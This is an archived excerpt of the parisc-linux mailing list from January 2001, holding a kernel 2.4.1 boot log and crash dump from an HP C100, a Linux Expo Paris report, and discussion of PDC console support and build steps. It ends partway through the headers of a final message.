Content-Type: TEXT/PLAIN; charset=US-ASCII
X-Trace: ger.gmane.org 1416619813 14780 80.91.229.3 (22 Nov 2014 01:30:13 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:30:13 +0000 (UTC)
To: parisc-linux@thepuffingroup.com
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Wed Jan 31 09:37:24 2001
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from puffin.external.hp.com (puffin.external.hp.com [192.25.206.4])
	by dsl2.external.hp.com (Postfix) with ESMTP id 683B04A18
	for <parisc-linux@lists.parisc-linux.org>; Wed, 31 Jan 2001 09:37:24 -0700 (MST)
Original-Received: from mailserv2.iuinc.com (IDENT:qmailr@mailserv2.iuinc.com [206.245.164.55])
	by puffin.external.hp.com (8.9.3/8.9.3) with SMTP id JAA10233
	for <parisc-linux@puffin.external.hp.com>; Wed, 31 Jan 2001 09:33:16 -0700
Original-Received: (qmail 32481 invoked by uid 15267); 31 Jan 2001 16:37:16 -0000
Delivered-To: thepuffi-parisc-linux@thepuffingroup.com
Original-Received: (qmail 32426 invoked from network); 31 Jan 2001 16:37:15 -0000
Original-Received: from maestro.symsys.com (root@208.223.9.37)
  by mailserv2.iuinc.com with SMTP; 31 Jan 2001 16:37:15 -0000
Original-Received: from localhost (ingram@localhost)
	by maestro.symsys.com (8.9.3/8.9.3) with ESMTP id KAA28660
	for <parisc-linux@thepuffingroup.com>; Wed, 31 Jan 2001 10:37:14 -0600
In-Reply-To: <3A7329D6.22387.109A119@localhost>
Xref: news.gmane.org gmane.linux.ports.parisc:10083

Howdy,

Just tried the lastest 2.4.1 bits from CVS and it barfs on my C100.  
Output follows.

- Greg


HARD Booted.
palo ipl root@ingram Mon Jan 15 12:24:52 CST 2001
0/vmlinux 1973442 bytes @ 0x6800
0/palo-cmdline 'vmlinux HOME=/ TERM=linux root=/dev/sda3 rw'
Kernel: partition 0 file vmlinux
ELF32 executable

Entry 00100120 first 00100000 n 5
Segment 0 load 00100000 size 1306612 mediaptr 0x1000
Segment 1 load 00240000 size 170792 mediaptr 0x140000
Segment 2 load 0026c000 size 108036 mediaptr 0x16a000
Segment 3 load 00288000 size 8192 mediaptr 0x185000
Segment 4 load 002b16a8 size 528 mediaptr 0x1876a8
branching to kernel entry point 0x00100120
Set default PSW W bit to 0
PDC Console Initialized
The 32-bit Kernel has started...
FP[0] enabled: Rev 1 Model 11
Free memory starts at: 0xc02b2000
start_parisc(0x504d70,0x504d70,0x0,0x0)
PALO command line: 'HOME=/ TERM=linux root=/dev/sda3 rw'
PALO initrd 0-0
model   00005920 00000481 00000000 00000002 782482ee 100000f0 00000004 0000008a 0000008a
vers    0000000d
cpuid   0000016d
CPUID   vers 11 rev 13
model   9000/777/C100
led_init: chassis info: model=2 (LED), lcd_width=0, cmd_delay=40, ret0=8, ret1=8
LED display at f0190001 registered
Searching for devices in PDC firmware... processor hpa 0xfffa0000
a newer box...
Found devices:
1. Coral SGC Graphics (10) at 0xf6000000, versions 0x4, 0x0, 0x77, 0x0, 0x0
2. SkyHawk 100/120 FW-SCSI (4) at 0xf5f8c000, versions 0x1f, 0x0, 0x89, 0x0, 0x80
3. U2-IOA BC GSC+ Port (7) at 0xf5fbf000, versions 0x501, 0x1, 0xc, 0x0, 0x0,  additional addresses: 0xf5f80000 
4. Raven T' Core BA (11) at 0xffd00000, versions 0x32, 0x0, 0x81, 0x0, 0x0,  additional addresses: 0xffd0c000 0xffc00000 
5. Raven T' Lasi Core RS-232 (10) at 0xffd05000, versions 0x32, 0x0, 0x8c, 0x0, 0x0
6. Raven T' Core SCSI (10) at 0xffd06000, versions 0x32, 0x0, 0x82, 0x0, 0x0
7. Raven T' Core LAN (802.3) (10) at 0xffd07000, versions 0x32, 0x0, 0x8a, 0x0, 0x0
8. Raven T' Core Centronics (10) at 0xffd02000, versions 0x32, 0x0, 0x74, 0x0, 0x0,  additional addresses: 0xffd01000 0xffd03000 
9. Raven T' Core PC Floppy (10) at 0xffd0a000, versions 0x32, 0x0, 0x83, 0x0, 0x0
10. Raven T' Audio (10) at 0xffd04000, versions 0x32, 0x0, 0x7b, 0x0, 0x0
11. Raven T' Core PC Keyboard (10) at 0xffd08000, versions 0x32, 0x0, 0x84, 0x0, 0x0
12. Raven T' Core PC Keyboard (10) at 0xffd08100, versions 0x32, 0x0, 0x84, 0x0, 0x0
13. Raven T' Wax BA (11) at 0xffe00000, versions 0x1e, 0x0, 0x8e, 0x0, 0x0,  additional addresses: 0xffe03000 0xffe06000 
14. Raven T' Wax EISA BA (11) at 0xfc000000, versions 0x1e, 0x0, 0x90, 0x0, 0x0,  additional addresses: 0xffc88400 0xf4000000 
15. Raven T' Wax RS-232 (10) at 0xffe02000, versions 0x1e, 0x0, 0x8c, 0x0, 0x80
16. Raven T' Wax HIL (10) at 0xffe01000, versions 0x1e, 0x0, 0x73, 0x0, 0x0
That's a total of 16 devices.
No CPUs reported by firmware - probing...
Found CPU at fffa0000
CPU(s): 1 x PA7200 (PCX-T') at 100.000000 MHz
Linux version 2.4.1 (root@ingram) (gcc version 2.96 20000925 (experimental)) #8 Tue Jan 30 16:18:05 CST 2001
free_bootmem(0x2b3000, 0x7d4d000)
initrd: 00000000-00000000
pagetable_init
On node 0 totalpages: 32768
zone(0): 16384 pages.
zone(1): 16384 pages.
zone(2): 0 pages.
Kernel command line: HOME=/ TERM=linux root=/dev/sda3 rw
Calibrating delay loop... 99.73 BogoMIPS
Memory: 125992k available
Dentry-cache hash table entries: 16384 (order: 5, 131072 bytes)
Buffer-cache hash table entries: 8192 (order: 3, 32768 bytes)
Page-cache hash table entries: 32768 (order: 5, 131072 bytes)
Inode-cache hash table entries: 8192 (order: 4, 65536 bytes)
POSIX conformance testing by UNIFIX
Lasi version 9 at 0x00000000 found.
busdevice_alloc_irq(0xc028c80c): No known LASI/ASP/WAX owns device at 0xffd02000 !
IRQ not found for parallel device at 0xffd02000
Warning : device (10, 0x32, 0x0, 0x74, 0x0) NOT claimed by parallel device HP 7xx - Series
busdevice_alloc_irq(0xc028c7d4): No known LASI/ASP/WAX owns device at 0xffd07000 !
lan.c: IRQ not found for i82596 at 0x00000000
Warning : device (10, 0x32, 0x0, 0x8a, 0x0) NOT claimed by Lasi i82596 LAN 712, 715 or similiar
Initializing Lasi PS/2-keyboard port at 0xffd08000...
busdevice_alloc_irq(0xc028c8b4): No known LASI/ASP/WAX owns device at 0xffd08000 !
Warning : device (10, 0x32, 0x0, 0x84, 0x0) NOT claimed by Lasi psaux generic
Support for Lasi PS/2-psaux not yet available !
superio: Probe
Could not find Superio IDE !
Could not find Superio USB!
Bah!
Linux NET4.0 for Linux 2.4
Based upon Swansea University Computer Society NET3.039
Starting kswapd v1.8
lp: driver loaded but no devices found
block: queued sectors max/low 83648kB/27882kB, 256 slots per queue
RAMDISK driver initialized: 16 RAM disks of 4096K size 1024 blocksize
Serial driver version 5.02 (2000-08-09) with MANY_PORTS SHARE_IRQ SERIAL_PCI enabled
Generic RTC Driver v1.02 05/27/1999 Sam Creasey (sammy@oh.verio.com)
busdevice_alloc_irq(0xc028c80c): No known LASI/ASP/WAX owns device at 0xffd02000 !
IRQ not found for parallel device at 0xffd02000
Warning : device (10, 0x32, 0x0, 0x74, 0x0) NOT claimed by parallel device HP 7xx - Series
SCSI subsystem driver Revision: 1.00
zalon_scsi_callback: Zalon vers field is 0x1, IRQ 34
ncr53c8xx: 53c720 detected

Dumping Stack from c7f9c000 to c7f9cd80:
c000 00000000 00000040 00000000 00000000 c0255360 00000001 00000000 ffffffff
c020 00000000 00000000 00000000 00000000 00000000 00000000 ffffffff c0255224
c040 c0255224 00000039 c7f90000 c0288000 c025a60c 00000000 00000000 00000000
c060 00000000 00000000 00000000 00000001 00000000 00000000 00000000 00000000
c080 00000000 c0288000 c0288000 c7f7c000 00000000 00000000 c7f7c098 c0288098
c0a0 00000000 c02a17fc 00000000 c7f9c0ac c7f9c0ac c7f9c908 00000000 00000000
c0c0 00000000 00000000 00000000 00000000 00000000 00000000 00000000 00000000
c0e0 c7f9c000 c0116d98 00000000 0000001c 00000000 00000000 00000028 00000000
c100 00000044 00000000 00000000 00000000 00000000 00000000 00000000 80000000
c120 00000000 00000000 00000000 00000000 00000000 00000000 00000000 00000000
c140 00000000 00000000 00000000 00000000 00000000 00000000 00000000 00000000
c160 00000000 00000000 00000000 00000000 00000000 00000000 00000000 00000000
c180 00000000 00000000 00000000 00000000 00000000 00000000 00000000 00000000
c1a0 00000000 00000000 00000000 00000000 00000000 00000000 00000000 00000000
c1c0 00000000 fffffeff 00000000 ffffffff 00000000 c0255f4c ffffffff ffffffff
c1e0 ffffffff ffffffff ffffffff ffffffff 00800000 05000000 00000000 ffffffff
c200 ffffffff ffffffff 00000800 00000800 00000400 00000400 ffffffff ffffffff
c220 ffffffff ffffffff ffffffff ffffffff 00007377 61707065 72000000 00000000
c240 00000000 00000000 00000000 00000000 00000000 00000000 00008000 21998304
c260 00000000 c013e6ec 00010000 c7ffeba0 c020cf0c c021d010 000000f0 00504d70
c280 00000000 c011517c c02a0800 00008000 21998304 c02a0800 00000000 0004000a
c2a0 0000003c 0000003e c0255000 00000001 c028fb87 00000004 c028fb63 00000000
c2c0 c010028c 0000003e 00000000 00000024 0000000b c0255394 c0255000 f00000ac
c2e0 f00000a4 000000ff ffd05800 ffd05800 ffd05800 00000060 ffffffff ffd05800
c300 0028f540 c0240000 00000000 00000000 c02888c0 00000000 000b0800 00000000
c320 0000001f 00000000 0000001f 00000000 0000001f 00000000 00000000 00000000
c340 00000000 00000000 00000000 00000000 00000000 00000000 00000010 00000020
c360 7f7fffff ffffffff 43ebebeb e0000000 00000000 00000000 45e69c6a 25b7ea20
c380 41800000 00000000 00000010 00000010 00000000 00000000 00000040 00000080
c3a0 00000100 00000200 00000400 00000800 7fffffff 7fffffff 41000000 00000000
c3c0 7fffffff 7fffffff 40800000 00000000 41000000 00000000 40300000 00000000
c3e0 40200000 00000000 40200000 00000000 41800000 7fffffff 40000000 00000000
c400 40000000 00000000 40800000 00000000 41000000 00000000 00000000 00000000
c420 c7f9c800 c0105cf4 00000000 00000000 00000000 00000000 00000000 00000000
c440 c0115168 c011516c 40800000 00000000 0025b000 00000000 c025a040 c025a064
c460 00000000 c025a204 00000000 00000000 00000000 c7f9c470 00000000 00000000
c480 00000000 00000000 00000000 00000000 00000000 00000000 00000000 00000000
c4a0 cf7928b3 9ef25167 3de4a2cf 7bbff0cc f70954ca ee12a995 dc25532b b84aa657
c4c0 70954caf e15c2c0c c2b85819 8570b033 0ae16067 15b4759c 2b1e5e6a 564a0986
c4e0 ace2a65e 59c54cbd b3fc2c28 c0105c48 cf8605f0 9f0c0be1 3e1817c3 7c469ad4
c500 c0288000 00000000 c0288640 c7dc07d7 8fb80faf 1f701f5f 3e968bec 7d5ba28a
c520 fac1f046 f583e08d eb07c11b c01002a0 ac1f046f 583e08df b00aa4ec 601549d9
c540 c05c26e0 80b84dc1 01709b83 02978254 c7f9c000 c025a60c c0288000 00000000
c560 c0288640 aea9ca4e 5d53949d bad19c68 75a338d1 eb30c4f0 d66189e1 acc313c3
c580 59862787 b37afa5c 66f5f4b9 cd9d5c20 9b3ab841 36757083 6c9c5454 d94e1dfa
c5a0 b29c3bf5 653877eb ca065a84 c026d0a4 28196a13 50446174 a0fe77ba 41fcef75
c5c0 00000000 c025e000 0e4b1bb0 1ce08232 00000060 00000001 00000001 c0234850
c5e0 99146cbb 3228d977 642707bc c026cfd0 90717455 20e2e8ab 41b36404 83107d5a
c600 c02865f0 c02865e4 f00010f4 00000000 00000060 c7f95820 c025817c c022c020
c620 0004000a 000000f0 c02a1000 c027c6e8 c0240000 c02a0800 c0286604 c02865d8
c640 c02a0800 c022b800 c029f40c c02a0800 c0240000 c02a0800 c022b800 c01a3f3c
c660 00000000 c026d870 0004000a c01a4f30 c02a1000 c02a4000 c0240000 c02a0800
c680 c0286604 c02865e4 c02a0800 c0286604 c02865e0 c0228a34 c022c048 c0228e44
c6a0 00000000 00000000 c02a4000 c0155b84 c02a0800 00010800 000000f0 c02a1000
c6c0 c02a4000 c0240000 c02a0800 c0286604 c02659f8 c02a0800 c0286604 c02656cc
c6e0 c028fb66 00000024 c028fb8b c012f8e0 0000003c 00000028 0000000b c0255394
c700 c026d870 0004000a 000000f0 c0264800 00000000 c0264854 00000001 c0264860
c720 00000000 ffd05800 0028f540 c01a47b4 00000000 00000000 c7f9c900 00000000
c740 00000000 c026d870 0004000a 000000f0 00000000 c0264800 c02656cc 00000000
c760 c0286604 c0264800 00000000 c01c0a48 00000000 00000000 00000000 00000000
c780 c02a4000 c02659f8 c0264800 c0286604 c0265740 00000000 c0256534 0000000a
c7a0 00000000 00000000 c02561ac c01ac1d4 c0256244 00000010 00000000 00000000
c7c0 00000040 00000080 00000100 00000200 00000400 00000800 7fffffff 7fffffff
c7e0 41000000 00000000 7fffffff c0109d90 40800000 00000000 41000000 00000000
c800 40300000 00000000 fffa0000 00000002 00000022 00000000 c028c000 00000002
c820 c02657d0 c028c6bc 40000000 c012f9b0 40800000 00000000 41000000 00000000
c840 00000000 00000001 0000004d 00000000 0000001f 00000022 00000001 c02317ac
c860 c0264800 c0264800 c0264800 c027a12c 00000001 00000010 00000000 00000000
c880 00000001 f5f8c034 00000000 00000000 00000000 f5f8c800 00000000 f5f8c800
c8a0 00000022 00000000 00000000 5a000000 c0231b00 04080400 07200002 00000000
c8c0 ff000000 00000000 c028c000 c028c6bc 00000040 00000001 c0265744 7fffffff
c8e0 40000000 00000000 40000000 c011517c 40800000 00000000 41000000 00000000
c900 00000000 0004000a 0000003c 0000003e c0283bd4 c7f9c8ac c0231b00 c0233158
c920 c028fb63 00000034 c028fb98 c01c12f0 0000003c 00000035 0000000b c0255394
c940 c026d870 0004000a 000000f0 00000000 00000000 00000022 c02659f8 c02658e4
c960 f5f8c800 c026d870 0004000a 000000f0 00000000 00000000 00000022 c02659f8
c980 c02658e4 f5f8c800 0000001f 00000000 0000001f 00000000 c0233175 00000000
c9a0 00000000 00000000 00000000 c027bb14 00000000 00000000 00000000 00000000
c9c0 00000000 c7f95920 c7f9c888 c7f95998 f5f8c800 00000000 00000022 c7f9c888
c9e0 c02658e4 f5f8c800 c028fb81 0000003e 0000003c 0000001e 0000000b c0255394
ca00 c0255000 f00000ac f00000a4 000000ff ffd05800 ffd05800 ffd05800 00000060
ca20 ffffffff ffd05800 0028f540 c01add00 00000000 00000000 c7f9cc00 00000000
ca40 00000cc0 00000000 0000000b c7f8c000 0000001f 00000000 0000001f 00000000
ca60 00000000 00000000 00000000 c01ad468 00000000 00000000 00000000 00000000
ca80 00000001 c0232150 00000cc0 c7f8c000 43ebebeb e0000000 00000000 00000000
caa0 45e69c6a 25b7ea20 41800000 c01ad22c 00000010 00000010 00000000 00000000
cac0 00000001 c0231974 000000bc 00000000 00000008 c7f8c094 00002000 00000009
cae0 41000000 00000000 7fffffff c01ad22c 40800000 00000000 41000000 00000000
cb00 00000009 00000000 40200000 00000000 40200000 00000000 41800000 7fffffff
cb20 40000000 00000000 40000000 c01ad85c 40800000 00000000 41000000 00000000
cb40 0004010a c02a1000 c01ad85c c7f8c100 c7f8c000 c0265800 c0231800 c0232150
cb60 00000000 00000000 0004000a c026d870 00000000 0000004d 00000001 00000000
cb80 f00010f4 f00000ac f00000a4 00000000 c7f8c110 00000010 c01ad820 c7f8c100
cba0 c7f9cac8 00002000 00000000 c0240000 c7f8c100 00000000 c7f9cd80 c01ad22c
cbc0 000b0800 00000000 0000001f 00000000 0000001f 00000000 0000001f 00000000
cbe0 00000000 00000000 00000000 00000000 00000000 00000000 00000000 00000000
cc00 00000010 00000020 7f7fffff ffffffff 43ebebeb e0000000 00000000 00000000
cc20 45e69c6a 25b7ea20 41800000 00000000 00000010 00000010 00000000 00000000
cc40 00000040 00000080 00000100 00000200 00000400 00000800 7fffffff 7fffffff
cc60 41000000 00000000 7fffffff 7fffffff 40800000 00000000 41000000 00000000
cc80 40300000 00000000 40200000 00000000 40200000 00000000 41800000 7fffffff
cca0 40000000 00000000 40000000 00000000 40800000 00000000 41000000 00000000
ccc0 00000000 00000000 00000000 00000000 00000000 00000000 00000000 00000000
cce0 00000000 00000000 c01ad874 c01ad878 dda98595 bb530b2b 76a61657 ed3a99fc
cd00 00000000 00000020 c02420ec c7f9c900 0000001e 0e681096 00000000 00000004
cd20 c02a1000 c02a17a0 c02a1760 c0117b48 a7269297 4e4d252f 9cecff0c 39d9fe19
cd40 0000000e c0293f80 00000001 c02420ec 3fe13c97 7fb4cc7c ff1f2daa fe3e5b55
cd60 fc7cb6ab f8f96d57 f1f2daaf c0106704 c7cb6abf 8f96d57f 1f2daaff 3e2de0ac

Data access rights fault in kernel: Code=26 regs=c7f9cb40 (Addr=00000004)

     YZrvWESTHLNXBCVMcbcbcbcbOGFRQPDI
PSW: 00000000000001000000000100001010
r0-3     00000000 c02a1000 c01ad85c c7f8c100
r4-7     c7f8c000 c0265800 c0231800 c0232150
r8-11    00000000 00000000 0004000a c026d870
r12-15   00000000 0000004d 00000001 00000000
r16-19   f00010f4 f00000ac f00000a4 00000000
r20-23   c7f8c110 00000010 c01ad820 c7f8c100
r24-27   c7f9cac8 00002000 00000000 c0240000
r28-31   c7f8c100 00000000 c7f9cd80 c01ad22c
sr0-3    00000000 00000000 00000000 00000000
sr4-7    00000000 00000000 00000000 00000000

IASQ: 00000000 00000000 IAOQ: c01ad874 c01ad878
 IIR: 0e681096    ISR: 00000000  IOR: 00000004
ORIG_R28: 00000020





From - Thu Nov 08 21:16:15 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: The Puffin at ESIEE <puffin@esiee.fr>
Newsgroups: gmane.linux.ports.parisc
Subject: [parisc-linux] Linux Expo Paris - Day 1
Date: Wed, 31 Jan 2001 18:10:48 +0000
Lines: 19
Approved: news@gmane.org
Message-ID: <20010131171049.33D89D15E9@mail.esiee.fr>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=iso-8859-1
Content-Transfer-Encoding: 8bit
X-Trace: ger.gmane.org 1416619814 14785 80.91.229.3 (22 Nov 2014 01:30:14 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:30:14 +0000 (UTC)
To: parisc-linux@parisc-linux.org
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Wed Jan 31 10:10:59 2001
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@parisc-linux.org
Original-Received: from mail.esiee.fr (mail.esiee.fr [147.215.1.3])
	by dsl2.external.hp.com (Postfix) with ESMTP id D13074A18
	for <parisc-linux@parisc-linux.org>; Wed, 31 Jan 2001 10:10:58 -0700 (MST)
Original-Received: from esiee.fr (mail.esiee.fr [147.215.1.3])
	by mail.esiee.fr (Postfix) with ESMTP id 33D89D15E9
	for <parisc-linux@parisc-linux.org>; Wed, 31 Jan 2001 18:10:49 +0100 (CET)
User-Agent: IMHO/0.97.1 (Webmail for Roxen)
Xref: news.gmane.org gmane.linux.ports.parisc:10084

                                                                      
Hi guys!!                                                             
                                                                      
Some news from Linux Expo here in Paris:                              
                                                                      
The B132 and A500 ran all day long with no major trouble except for   
what seemed to  be memory problems on the A500.                       
                                                                      
Loads of people over here. The show turned out to be rather commercial
though w/ today's high advertising for Linux. We have some interesting
contacts for bug reporting with Dassault Aviation and Meteo France    
(the main meteorology agency in France).                              
                                                                      
That's all for day 1. Bye.                                            
                                                                      
ESIEE Team.                                                           




From - Thu Nov 08 21:16:15 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Christoph Plattner <christoph.plattner@dot.at>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] Server E55 (9000/856) - PDC console
Date: Wed, 31 Jan 2001 19:04:02 +0100
Organization: private
Lines: 47
Approved: news@gmane.org
Message-ID: <3A785392.9BBAB841@dot.at>
References: <3A76C938.E2E13D2B@alcatel.at> <01013016205400.01014@P100.helgenet.de>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1416619814 14788 80.91.229.3 (22 Nov 2014 01:30:14 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:30:14 +0000 (UTC)
Cc: Christoph Plattner <christoph.plattner@alcatel.at>,
	parisc-linux@thepuffingroup.com
To: Helge Deller <deller@gmx.de>
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Wed Jan 31 11:04:24 2001
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from puffin.external.hp.com (puffin.external.hp.com [192.25.206.4])
	by dsl2.external.hp.com (Postfix) with ESMTP id 3A8D54A18
	for <parisc-linux@lists.parisc-linux.org>; Wed, 31 Jan 2001 11:04:24 -0700 (MST)
Original-Received: from mailserv2.iuinc.com (IDENT:qmailr@mailserv2.iuinc.com [206.245.164.55])
	by puffin.external.hp.com (8.9.3/8.9.3) with SMTP id LAA12270
	for <parisc-linux@puffin.external.hp.com>; Wed, 31 Jan 2001 11:00:17 -0700
Original-Received: (qmail 30764 invoked by uid 15267); 31 Jan 2001 18:04:22 -0000
Delivered-To: thepuffi-parisc-linux@thepuffingroup.com
Original-Received: (qmail 30745 invoked from network); 31 Jan 2001 18:04:21 -0000
Original-Received: from dns2.dot.at (212.9.128.3)
  by mailserv2.iuinc.com with SMTP; 31 Jan 2001 18:04:21 -0000
Original-Received: from dot.at (IDENT:plattner@dot-tc01-051.dot.at [212.9.128.91])
	by dns2.dot.at (8.9.3/8.9.2) with ESMTP id TAA24168;
	Wed, 31 Jan 2001 19:13:26 +0100
Original-Sender: plattner@dns2.dot.at
X-Mailer: Mozilla 4.72 [en] (X11; U; Linux 2.2.18 i586)
X-Accept-Language: en
Xref: news.gmane.org gmane.linux.ports.parisc:10085

Thanks for the answer, but ...

... the E55 server has no STI or similar console. Only as serial one !
And this serial console is on the 8-port serial multiplexer board,
and I miss a driver for that (same for SCSI !) on the E55 (9000/856).

So the only chance is the use of PDC console for the first step.
And as my experience shows on a PC with 8-port serial board, it is
not a problem to poll in 20-25ms cycles, which is enough for serial
console operation and is not a performace problem....

With friendly regards

	Christoph


Helge Deller wrote:
> 
> On Tuesday 30 January 2001 15:01, Christoph Plattner wrote:
> > Hello PA-RISC GURUS !
> >
> > * Is it possible to use the PDC console as system console ?
> 
> The PDC-interface misses a function to get interrupts when a key was pressed.
> To get around that problem you would need to poll the whole time, which would
> result in a *very* bad performance.
> Instead of using the PDC-console it is much better to get the STI console
> working. I've already begun to rewrite the current STI code from prumpf,
> which you can find under /drivers/video/sti/*.
> Currently both - the new and the old STI code - is broken and unfunctional,
> but I will continue to work on it as far as time permits.
> 
> Greetings,
> 
>         Helge.
> 
> ---------------------------------------------------------------------------
> To unsubscribe: send e-mail to parisc-linux-request@thepuffingroup.com with
> `unsubscribe' as the subject.

-- 
-------------------------------------------------------------------------
private:	christoph.plattner@dot.at
company:	christoph.plattner@alcatel.at




From - Thu Nov 08 21:16:15 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Grant Grundler <grundler@cup.hp.com>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] 2.4.1 Bits Won't Drive C100
Date: Wed, 31 Jan 2001 10:13:23 -0800
Lines: 60
Approved: news@gmane.org
Message-ID: <200101311813.KAA29222@milano.cup.hp.com>
References: <Pine.LNX.4.21.0101311009300.28557-100000@maestro.symsys.com>
NNTP-Posting-Host: plane.gmane.org
X-Trace: ger.gmane.org 1416619814 14792 80.91.229.3 (22 Nov 2014 01:30:14 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:30:14 +0000 (UTC)
Cc: parisc-linux@thepuffingroup.com
To: Greg Ingram <ingram@symsys.com>
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Wed Jan 31 11:11:19 2001
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from puffin.external.hp.com (puffin.external.hp.com [192.25.206.4])
	by dsl2.external.hp.com (Postfix) with ESMTP id 03A554A18
	for <parisc-linux@lists.parisc-linux.org>; Wed, 31 Jan 2001 11:11:19 -0700 (MST)
Original-Received: from mailserv2.iuinc.com (IDENT:qmailr@mailserv2.iuinc.com [206.245.164.55])
	by puffin.external.hp.com (8.9.3/8.9.3) with SMTP id LAA12352
	for <parisc-linux@puffin.external.hp.com>; Wed, 31 Jan 2001 11:07:11 -0700
Original-Received: (qmail 10875 invoked by uid 15267); 31 Jan 2001 18:11:15 -0000
Delivered-To: thepuffi-parisc-linux@thepuffingroup.com
Original-Received: (qmail 10841 invoked from network); 31 Jan 2001 18:11:13 -0000
Original-Received: from palrel1.hp.com (156.153.255.242)
  by mailserv2.iuinc.com with SMTP; 31 Jan 2001 18:11:13 -0000
Original-Received: from milano.cup.hp.com (milano.cup.hp.com [15.8.80.76])
	by palrel1.hp.com (Postfix) with ESMTP
	id 6EDA62D21; Wed, 31 Jan 2001 10:11:11 -0800 (PST)
Original-Received: from localhost (grundler@localhost [127.0.0.1])
	by milano.cup.hp.com (8.9.3 (PHNE_18546)/8.9.3 SMKit7.02) with SMTP id KAA29222;
	Wed, 31 Jan 2001 10:13:28 -0800 (PST)
X-Authentication-Warning: milano.cup.hp.com: grundler@localhost [127.0.0.1] didn't use HELO protocol
In-reply-to: Your message of "Wed, 31 Jan 2001 10:37:14 PST."
             <Pine.LNX.4.21.0101311009300.28557-100000@maestro.symsys.com> 
Xref: news.gmane.org gmane.linux.ports.parisc:10086

Greg Ingram wrote:
> 
> Howdy,
> 
> Just tried the lastest 2.4.1 bits from CVS and it barfs on my C100.  
> Output follows.

Greg,
was this using the default .config?
ie the following sequence:
cvs update -A
make distclean
make oldconfig
make dep
make palo

(where cvs update reports no changes)


> No CPUs reported by firmware - probing...
> Found CPU at fffa0000
> CPU(s): 1 x PA7200 (PCX-T') at 100.000000 MHz

This is the output I was worried wouldn't work based on my recent changes.
It seems to be ok.


> SCSI subsystem driver Revision: 1.00
> zalon_scsi_callback: Zalon vers field is 0x1, IRQ 34
> ncr53c8xx: 53c720 detected

drivers/scsi/ncr53c8xx.c hasn't changed in a while:
| revision 1.14
| date: 2000/11/15 20:02:43;  author: rhirst;  state: Exp;  lines: +2 -2
| Allow lasi and zalon scsi in the same kernel

However, it looks like drivers/scsi/scsi_ioctl.c did:
| revision 1.6
| date: 2001/01/25 00:01:45;  author: willy;  state: Exp;  lines: +32 -44
| 
| Linus 2.4.0 merge (take one)
| ----------------------------
| revision 1.5
| date: 2000/11/10 21:43:28;  author: bame;  state: Exp;  lines: +5 -0
| merge with 2.4.0-test10
...

Or have you been able to boot kernels since the 2.4.0 merge?

I don't have time to chase this further (unless it crashes a box
I'm using :^). Any other takers?

grant

Grant Grundler
parisc-linux {PCI|IOMMU|SMP} hacker
+1.408.447.7253




From - Thu Nov 08 21:16:16 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Christoph Plattner <christoph.plattner@dot.at>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] 800/G30, G50, E55 Support?
Date: Wed, 31 Jan 2001 19:14:10 +0100
Organization: private
Lines: 57
Approved: news@gmane.org
Message-ID: <3A7855F2.49FB7E36@dot.at>
References: <3A770170.11858.64A68@localhost>; from plaven@ozemail.com.au on Tue, Jan 30, 2001 at 06:01:20PM +1100 <3A78537C.11739.D334D@localhost>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1416619815 14797 80.91.229.3 (22 Nov 2014 01:30:15 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:30:15 +0000 (UTC)
Cc: parisc-linux@thepuffingroup.com
To: plaven@ozemail.com.au
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Wed Jan 31 11:14:22 2001
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from puffin.external.hp.com (puffin.external.hp.com [192.25.206.4])
	by dsl2.external.hp.com (Postfix) with ESMTP id 48D904A18
	for <parisc-linux@lists.parisc-linux.org>; Wed, 31 Jan 2001 11:14:22 -0700 (MST)
Original-Received: from mailserv2.iuinc.com (IDENT:qmailr@mailserv2.iuinc.com [206.245.164.55])
	by puffin.external.hp.com (8.9.3/8.9.3) with SMTP id LAA12439
	for <parisc-linux@puffin.external.hp.com>; Wed, 31 Jan 2001 11:10:15 -0700
Original-Received: (qmail 16331 invoked by uid 15267); 31 Jan 2001 18:14:20 -0000
Delivered-To: thepuffi-parisc-linux@thepuffingroup.com
Original-Received: (qmail 16305 invoked from network); 31 Jan 2001 18:14:19 -0000
Original-Received: from dns2.dot.at (212.9.128.3)
  by mailserv2.iuinc.com with SMTP; 31 Jan 2001 18:14:19 -0000
